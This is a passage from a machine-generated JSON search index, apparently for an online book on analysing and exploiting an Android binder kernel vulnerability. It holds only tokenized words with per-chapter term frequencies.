},"l":{"docs":{},"i":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0017391304347826088},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"c":{"docs":{},"a":{"docs":{},"t":{"docs":{},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"e":{"docs":{},"d":{"docs":{},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"r":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"e":{"docs":{},"x":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}},"d":{"docs":{},":":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.013307984790874524}}}}}},"i":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}},"/":{"docs":{},"d":{"docs":{},"r":{"docs":{},"i":{"docs":{},"v":{"docs":{},"e":{"docs":{},"r":{"docs":{},"s":{"docs":{},"/":{"docs":{},"a":{"docs":{},"n":{"docs":{},"d":{"docs":{},"r":{"docs":{},"o":{"docs":{},"i":{"docs":{},"d":{"docs":{},"/":{"docs":{},"b":{"docs":{},"i":{"docs":{},"n":{"docs":{},"d":{"docs":{},"e":{"docs":{},"r":{"docs":{},".":{"docs":{},"c":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.00641025641025641},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}}}}}}}}}}}}}}}}}}}}}}}},"l":{"docs":{},"i":{"docs":{},"b":{"docs":{},"/":{"docs":{},"i":{"docs":{},"o":{"docs":{},"v":{"docs":{},"_":{"docs":{},"i":{"docs":{},"t":{"docs":{},"e":{"docs":{},"r":{"docs":{},".":{"docs":{},"c":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}}}}}}}}}}}}}}},"\"":{"docs":{},")":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"w":{"docs":{},"e":{"docs":{},"s":{"docs":{},"o":{"docs":{},"m":{"docs":{},"e":{"docs":{},",":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}}}}}},"a":{"docs":{},"y":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"f":{"docs":{},"t":{"docs":{},"e":{"docs":{},"r":{"docs":{},"w":{"docs":{},"a":{"docs":{},"r":{"docs":{},"d":{"docs":{},"s":{"docs":{},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}},"_":{"docs":{},"u":{"docs":{},"n":{"docs":{},"i":{"docs":{},"x":{"docs":{},"/":{"docs":{},"a":{"docs":{},"f":{"docs":{},"_":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}},"c":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.005703422053231939},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}},"l":{"docs":{},"o":{"docs":{},"u":{"docs":{},"d":{"docs":{},"f":{"docs":{},"u":{"docs":{},"z":{"docs":{},"z":{"docs":{},".":{"docs":{"./":{"ref":"./","tf":0.05}}}}}}}}},"n":{"docs":{},"e":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.008676789587852495},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}},".":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}},"_":{"docs":{},"c":{"docs":{},"h":{"docs":{},"i":{"docs":{},"l":{"docs":{},"d":{"docs":{},"_":{"docs":{},"c":{"docs":{},"l":{"docs":{},"e":{"docs":{},"a":{"docs":{},"r":{"docs":{},"t":{"docs":{},"i":{"docs":{},"d":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}},"s":{"docs":{},"e":{"docs":{},"t":{"docs":{},"t":{"docs":{},"i":{"docs":{},"d":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}},"s":{"docs":{},"i":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"e":{"docs":{},"d":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}},"l":{"docs":{},"y":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"b":{"docs":{},"b":{"docs":{},"e":{"docs":{},"r":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.005600672080649678}},"e":{"docs":{},"d":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}}}},"e":{"docs":{},"a":{"docs":{},"n":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}},"u":{"docs":{},"p":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}}},"a":{"docs":{},"n":{"docs":{},"g":{"docs":{},"_":{"docs":{},"p":{"docs":{},"r":{"docs":{},"e":{"docs":{},"b":{"docs":{},"u":{"docs":{},"i":{"docs":{},"l":{"docs":{},"t":{"docs":{},"_":{"docs":{},"b":{"docs":{},"i":{"docs":{},"n":{"docs":{},"=":{"docs":{},"p":{"docs":{},"r":{"docs":{},"e":{"docs":{},"b":{"docs":{},"u":{"docs":{},"i":{"docs":{},"l":{"docs":{},"t":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}}}}}}}},"t":{"docs":{},"r":{"docs":{},"i":{"docs":{},"p":{"docs":{},"l":{"docs":{},"e":{"docs":{},"=":{"docs":{},"x":{"8":{"6":{"docs":{},"_":{"6":{"4":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}}}}}}}}}}}}}},"d":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0017391304347826088},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"h":{"docs":{},"a":{"docs":{},"n":{"docs":{},"g":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0017391304347826088},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}},"n":{"docs":{},"e":{"docs":{},"l":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}},"i":{"docs":{},"n":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}},"p":{"docs":{},"t":{"docs":{},"e":{"docs":{},"r":{"docs":{},",":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}}}}}},"e":{"docs":{},"c":{"docs":{},"k":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0014001680201624195}},"_":{"docs":{},"m":{"docs":{},"e":{"docs":{},"m":{"docs":{},"o":{"docs":{},"r":{"docs":{},"y":{"docs":{},"_":{"docs":{},"r":{"docs":{},"e":{"docs":{},"g":{"docs":{},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{},"+":{"0":{"docs":{},"x":{"1":{"7":{"1":{"docs":{},"/":{"0":{"docs":{},"x":{"1":{"7":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},"docs":{}},"docs":{}}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}},"_":{"docs":{},"i":{"docs":{},"n":{"docs":{},"l":{"docs":{},"i":{"docs":{},"n":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}}}}}}}}}}}}}}},"o":{"docs":{},"u":{"docs":{},"t":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"i":{"docs":{},"l":{"docs":{},"d":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0016802016241949033}},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"r":{"docs":{},"e":{"docs":{},"n":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609}},"/":{"docs":{},"s":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},":":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"p":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}},"r":{"docs":{},"o":{"docs":{},"m":{"docs":{},"e":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}}}},"u":{"docs":{},"n":{"docs":{},"k":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0014265335235378032},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0016802016241949033}},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0014001680201624195}}}}}}},"o":{"docs":{},"d":{"docs":{},"e":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0019971469329529245},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839},"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}},"i":{"docs":{},"n":{"docs":{},"g":{"docs":{},":":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}}}}},"m":{"docs":{},"m":{"docs":{},"a":{"docs":{},"n":{"docs":{},"d":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.01735357917570499},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}},"s":{"docs":{},".":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}},",":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},"l":{"docs":{},"i":{"docs":{},"n":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}},"i":{"docs":{},"t":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.008676789587852495},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.01282051282051282},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}},"_":{"docs":{},"c":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}},"e":{"docs":{},"d":{"docs":{},"s":{"docs":{},"(":{"docs":{},"p":{"docs":{},"r":{"docs":{},"e":{"docs":{},"p":{"docs":{},"a":{"docs":{},"r":{"docs":{},"e":{"docs":{},"_":{"docs":{},"k":{"docs":{},"e":{"docs":{},"r":{"docs":{},"n":{"docs":{},"e":{"docs":{},"l":{"docs":{},"_":{"docs":{},"c":{"docs":{},"r":{"docs":{},"e":{"docs":{},"d":{"docs":{},"(":{"docs":{},"n":{"docs":{},"u":{"docs":{},"l":{"docs":{},"l":{"docs":{},")":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}}}}}}}}}}}}},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}},",":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},"t":{"docs":{},"e":{"docs":{},"d":{"docs":{},")":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}},"[":{"docs":{},"t":{"docs":{},"a":{"docs":{},"s":{"docs":{},"k":{"docs":{},"_":{"docs":{},"c":{"docs":{},"o":{"docs":{},"m":{"docs":{},"m":{"docs":{},"_":{"docs":{},"l":{"docs":{},"e":{"docs":{},"n":{"docs":{},"]":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},"=":{"docs":{},"\"":{"docs":{},"i":{"docs":{},"n":{"docs":{},"i":{"docs":{},"t":{"docs":{},"\"":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928}}}}}}},"l":{"docs":{},"s":{"docs":{},"\"":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}}}}},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"u":{"docs":{},"n":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"i":{"docs":{},"c":{"docs":{},"a":{"docs":{},"t":{"docs":{},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}},"p":{"docs":{},"i":{"docs":{},"l":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}},"l":{"docs":{},"e":{"docs":{},"t":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}},"e":{"docs":{},"s":{"docs":{},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"l":{"docs":{},"y":{"docs":{},",":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}},"a":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"_":{"docs":{},"r":{"docs":{},"o":{"docs":{},"b":{"docs":{},"u":{"docs":{},"s":{"docs":{},"t":{"docs":{},"_":{"docs":{},"l":{"docs":{},"i":{"docs":{},"s":{"docs":{},"t":{"docs":{},"_":{"docs":{},"h":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}},"i":{"docs":{},"o":{"docs":{},"c":{"docs":{},"t":{"docs":{},"l":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}},"u":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"o":{"docs":{},"u":{"docs":{},"n":{"docs":{},"d":{"docs":{},"_":{"docs":{},"m":{"docs":{},"a":{"docs":{},"p":{"docs":{},"c":{"docs":{},"o":{"docs":{},"u":{"docs":{},"n":{"docs":{},"t":{"docs":{},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}}}}}}}}}}}}}}},"e":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"n":{"docs":{},"f":{"docs":{},"i":{"docs":{},"g":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}},"'":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"u":{"docs":{},"r":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"_":{"docs":{},"a":{"docs":{},"r":{"docs":{},"c":{"docs":{},"h":{"docs":{},"_":{"docs":{},"h":{"docs":{},"a":{"docs":{},"s":{"docs":{},"_":{"docs":{},"s":{"docs":{},"c":{"docs":{},"a":{"docs":{},"l":{"docs":{},"e":{"docs":{},"d":{"docs":{},"_":{"docs":{},"c":{"docs":{},"p":{"docs":{},"u":{"docs":{},"t":{"docs":{},"i":{"docs":{},"m":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}}}}}}},"u":{"docs":{},"d":{"docs":{},"i":{"docs":{},"t":{"docs":{},"s":{"docs":{},"y":{"docs":{},"s":{"docs":{},"c":{"docs":{},"a":{"docs":{},"l":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}},"b":{"docs":{},"l":{"docs":{},"k":{"docs":{},"_":{"docs":{},"d":{"docs":{},"e":{"docs":{},"v":{"docs":{},"_":{"docs":{},"i":{"docs":{},"o":{"docs":{},"_":{"docs":{},"t":{"docs":{},"r":{"docs":{},"a":{"docs":{},"c":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"c":{"docs":{},"c":{"docs":{},"_":{"docs":{},"s":{"docs":{},"t":{"docs":{},"a":{"docs":{},"c":{"docs":{},"k":{"docs":{},"p":{"docs":{},"r":{"docs":{},"o":{"docs":{},"t":{"docs":{},"e":{"docs":{},"c":{"docs":{},"t":{"docs":{},"o":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}},"g":{"docs":{},"r":{"docs":{},"o":{"docs":{},"u":{"docs":{},"p":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}},"_":{"docs":{},"s":{"docs":{},"c":{"docs":{},"h":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}},"o":{"docs":{},"m":{"docs":{},"p":{"docs":{},"a":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"_":{"docs":{},"b":{"docs":{},"r":{"docs":{},"k":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}},"p":{"docs":{},"u":{"docs":{},"_":{"docs":{},"f":{"docs":{},"r":{"docs":{},"e":{"docs":{},"q":{"docs":{},"_":{"docs":{},"t":{"docs":{},"i":{"docs":{},"m":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}},"s":{"docs":{},"e":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"d":{"docs":{},"e":{"docs":{},"b":{"docs":{},"u":{"docs":{},"g":{"docs":{},"_":{"docs":{},"a":{"docs":{},"t":{"docs":{},"o":{"docs":{},"m":{"docs":{},"i":{"docs":{},"c":{"docs":{},"_":{"docs":{},"s":{"docs":{},"l":{"docs":{},"e":{"docs":{},"e":{"docs":{},"p":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}},"c":{"docs":{},"r":{"docs":{},"e":{"docs":{},"d":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"i":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}}}}}}}}}},"m":{"docs":{},"u":{"docs":{},"t":{"docs":{},"e":{"docs":{},"x":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"p":{"docs":{},"r":{"docs":{},"e":{"docs":{},"e":{"docs":{},"m":{"docs":{},"p":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"i":{"docs":{},"n":{"docs":{},"f":{"docs":{},"o":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"_":{"docs":{},"r":{"docs":{},"e":{"docs":{},"d":{"docs":{},"u":{"docs":{},"c":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}},"t":{"docs":{},"e":{"docs":{},"c":{"docs":{},"t":{"docs":{},"_":{"docs":{},"h":{"docs":{},"u":{"docs":{},"n":{"docs":{},"g":{"docs":{},"_":{"docs":{},"t":{"docs":{},"a":{"docs":{},"s":{"docs":{},"k":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}},"f":{"docs":{},"a":{"docs":{},"u":{"docs":{},"l":{"docs":{},"t":{"docs":{},"_":{"docs":{},"i":{"docs":{},"n":{"docs":{},"j":{"docs":{},"e":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}},"u":{"docs":{},"n":{"docs":{},"c":{"docs":{},"t":{"docs":{},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{},"_":{"docs":{},"g":{"docs":{},"r":{"docs":{},"a":{"docs":{},"p":{"docs":{},"h":{"docs":{},"_":{"docs":{},"t":{"docs":{},"r":{"docs":{},"a":{"docs":{},"c":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}}},"t":{"docs":{},"e":{"docs":{},"x":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"r":{"docs":{},"a":{"docs":{},"m":{"docs":{},"e":{"docs":{},"_":{"docs":{},"p":{"docs":{},"o":{"docs":{},"i":{"docs":{},"n":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}},"i":{"docs":{},"n":{"docs":{},"t":{"docs":{},"e":{"docs":{},"l":{"docs":{},"_":{"docs":{},"r":{"docs":{},"d":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-esca